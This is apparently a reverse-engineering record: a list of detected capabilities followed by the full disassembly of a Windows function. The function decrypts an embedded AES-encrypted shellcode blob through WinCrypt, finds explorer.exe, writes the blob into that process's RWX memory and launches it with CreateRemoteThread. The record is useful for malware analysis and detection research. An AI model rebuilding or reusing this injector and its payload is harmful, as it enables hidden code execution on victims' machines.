Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate processes
Hash data via wincrypt
Initialize hashing via wincrypt
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x390]
sub rsp, 0x490
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x380], rax
mov dword [rbp + 0x1a0], 0x743b268c
mov dword [rbp + 0x1a4], 0x211f7182
mov dword [rbp + 0x1a8], 0xb795da2a
mov dword [rbp + 0x1ac], 0x9c9c1e56
mov dword [rbp + 0x1b0], 0x435f72c5
mov dword [rbp + 0x1b4], 0xe75b3444
mov dword [rbp + 0x1b8], 0xa675a98f
mov dword [rbp + 0x1bc], 0x62f41e75
mov dword [rbp + 0x1c0], 0xe7f0e5d0
mov dword [rbp + 0x1c4], 0xdb0fee72
mov dword [rbp + 0x1c8], 0x1917b678
mov dword [rbp + 0x1cc], 0x4d59cc7e
mov dword [rbp + 0x1d0], 0xe14c09a6
mov dword [rbp + 0x1d4], 0x4020ee12
mov dword [rbp + 0x1d8], 0x859fb7df
mov dword [rbp + 0x1dc], 0x9dd478de
mov dword [rbp + 0x1e0], 0x44e3a6e7
mov dword [rbp + 0x1e4], 0x51a65d71
mov dword [rbp + 0x1e8], 0xfbbc3b03
mov dword [rbp + 0x1ec], 0x182fa2d
mov dword [rbp + 0x1f0], 0x8d4c4ff3
mov dword [rbp + 0x1f4], 0x9b1b1d90
mov dword [rbp + 0x1f8], 0xef03108
mov dword [rbp + 0x1fc], 0xe33404d1
mov dword [rbp + 0x200], 0xb8ab4adc
mov dword [rbp + 0x204], 0xf465225e
mov dword [rbp + 0x208], 0xd4ce0957
mov dword [rbp + 0x20c], 0x6d33bbe
mov dword [rbp + 0x210], 0xf33a6f7d
mov dword [rbp + 0x214], 0xd20d71a6
mov dword [rbp + 0x218], 0xdb84b4f7
mov dword [rbp + 0x21c], 0x2c73f38d
mov dword [rbp + 0x220], 0xdf006c7e
mov dword [rbp + 0x224], 0x7c50bfff
mov dword [rbp + 0x228], 0x56c5b64a
mov dword [rbp + 0x22c], 0xc99d803d
mov dword [rbp + 0x230], 0x29f20484
mov dword [rbp + 0x234], 0x75775f8b
mov dword [rbp + 0x238], 0xc19cdb9b
mov dword [rbp + 0x23c], 0x3989b7a4
mov dword [rbp + 0x240], 0x717ac454
mov dword [rbp + 0x244], 0x6f6f69c2
mov dword [rbp + 0x248], 0xc9447c22
mov dword [rbp + 0x24c], 0xd99494d4
mov dword [rbp + 0x250], 0x12b1d805
mov dword [rbp + 0x254], 0xccef94ff
mov dword [rbp + 0x258], 0x23c4ff6b
mov dword [rbp + 0x25c], 0x7c08f253
mov dword [rbp + 0x260], 0xaf7e9461
mov dword [rbp + 0x264], 0x27f0fb9d
mov dword [rbp + 0x268], 0x37899a2a
mov dword [rbp + 0x26c], 0xf9755f8b
mov dword [rbp + 0x270], 0x4241f876
mov dword [rbp + 0x274], 0xdb8e454a
mov dword [rbp + 0x278], 0xcbf03d9a
mov dword [rbp + 0x27c], 0x2de740c0
mov dword [rbp + 0x280], 0xb8fda3cb
mov dword [rbp + 0x284], 0xf55ac75
mov dword [rbp + 0x288], 0x5fbce807
mov dword [rbp + 0x28c], 0xa2903e2d
mov dword [rbp + 0x290], 0x88eb514b
mov dword [rbp + 0x294], 0x3a5eeb60
mov dword [rbp + 0x298], 0x46b444bc
mov dword [rbp + 0x29c], 0x8f4b1cea
mov dword [rbp + 0x2a0], 0xa1ca9f42
mov dword [rbp + 0x2a4], 0x7feb051c
mov dword [rbp + 0x2a8], 0xc2e4139c
mov dword [rbp + 0x2ac], 0x3ba6af9a
mov dword [rbp + 0x2b0], 0xca08b455
mov dword [rbp + 0x2b4], 0xabdf1c08
mov dword [rbp + 0x2b8], 0x983027d1
mov dword [rbp + 0x2bc], 0xdf24c140
mov dword [rbp + 0x2c0], 0xf4a6c8f4
mov dword [rbp + 0x2c4], 0x4214c994
mov dword [rbp + 0x2c8], 0x7a17fb52
mov dword [rbp + 0x2cc], 0xd6d2077f
mov dword [rbp + 0x2d0], 0xdbfe0992
mov dword [rbp + 0x2d4], 0x23f56acb
mov dword [rbp + 0x2d8], 0x94b3ee61
mov dword [rbp + 0x2dc], 0xd1897d6f
mov dword [rbp + 0x2e0], 0x45ed184a
movdqa xmm0, xmmword [0x140003300]
lea rcx, [rsp + 0x40]
mov r9d, 0x18
mov dword [rbp + 0x2e4], 0x2352fd3f
xor r8d, r8d
mov dword [rbp + 0x2e8], 0x5a205394
xor edx, edx
mov dword [rbp + 0x2ec], 0x521b1354
movdqu xmmword [rbp + 0x370], xmm0
mov dword [rbp + 0x2f0], 0xa9ce7a1a
mov dword [rbp + 0x2f4], 0x7193565b
mov dword [rbp + 0x2f8], 0xfc78e5f6
mov dword [rbp + 0x2fc], 0xbc0fdccb
mov dword [rbp + 0x300], 0x99920140
mov dword [rbp + 0x304], 0x2f3f112c
mov dword [rbp + 0x308], 0xb32d78f8
mov dword [rbp + 0x30c], 0xea8460b3
mov dword [rbp + 0x310], 0xc6cda5c1
mov dword [rbp + 0x314], 0x2964344d
mov dword [rbp + 0x318], 0xd675505f
mov dword [rbp + 0x31c], 0x6265e458
mov dword [rbp + 0x320], 0x53419d7f
mov dword [rbp + 0x324], 0x1a9808ad
mov dword [rbp + 0x328], 0xcb3069e7
mov dword [rbp + 0x32c], 0xd3bc301f
mov dword [rbp + 0x330], 0xa4dcb925
mov dword [rbp + 0x334], 0x3699f41b
mov dword [rbp + 0x338], 0x339eee5
mov dword [rbp + 0x33c], 0x79b3f81e
mov dword [rbp + 0x340], 0x33d59eff
mov dword [rbp + 0x344], 0xe5f6c124
mov dword [rbp + 0x348], 0xe043f883
mov dword [rbp + 0x34c], 0xe224f9d7
mov dword [rbp + 0x350], 0xd2fef87b
mov dword [rbp + 0x354], 0x9919c7a3
mov dword [rbp + 0x358], 0x823697ab
mov dword [rbp + 0x35c], 0x30fbdddd
mov dword [rbp + 0x360], 0xd4b97c88
mov dword [rbp + 0x364], 0x86ea661f
mov dword [rbp + 0x368], 0x5a416b22
mov dword [rbp + 0x36c], 0xd797e04b
mov dword [rsp + 0x58], 0x1d0
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400015ad
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400015a0
mov rcx, qword [rsp + 0x48]
lea rdx, [rbp + 0x370]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001595
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x14000158f
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
lea rax, [rbp + 0x1a0]
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor esi, esi
xor edx, edx
mov edi, esi
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400015cd
mov rcx, rax
jmp 0x1400016e9
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000161d
nop word [rax + rax]
lea rdx, [rbp - 0x74]
lea rcx, str.explorer.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140001619
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400015f0
jmp 0x14000161d
mov edi, dword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400016ef
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400016ef
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x1d0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1400016e6
mov r9d, 0x1d0
mov qword [rsp + 0x20], rsi
lea r8, [rbp + 0x1a0]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400016d1
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x1400016d1
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.140001730
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret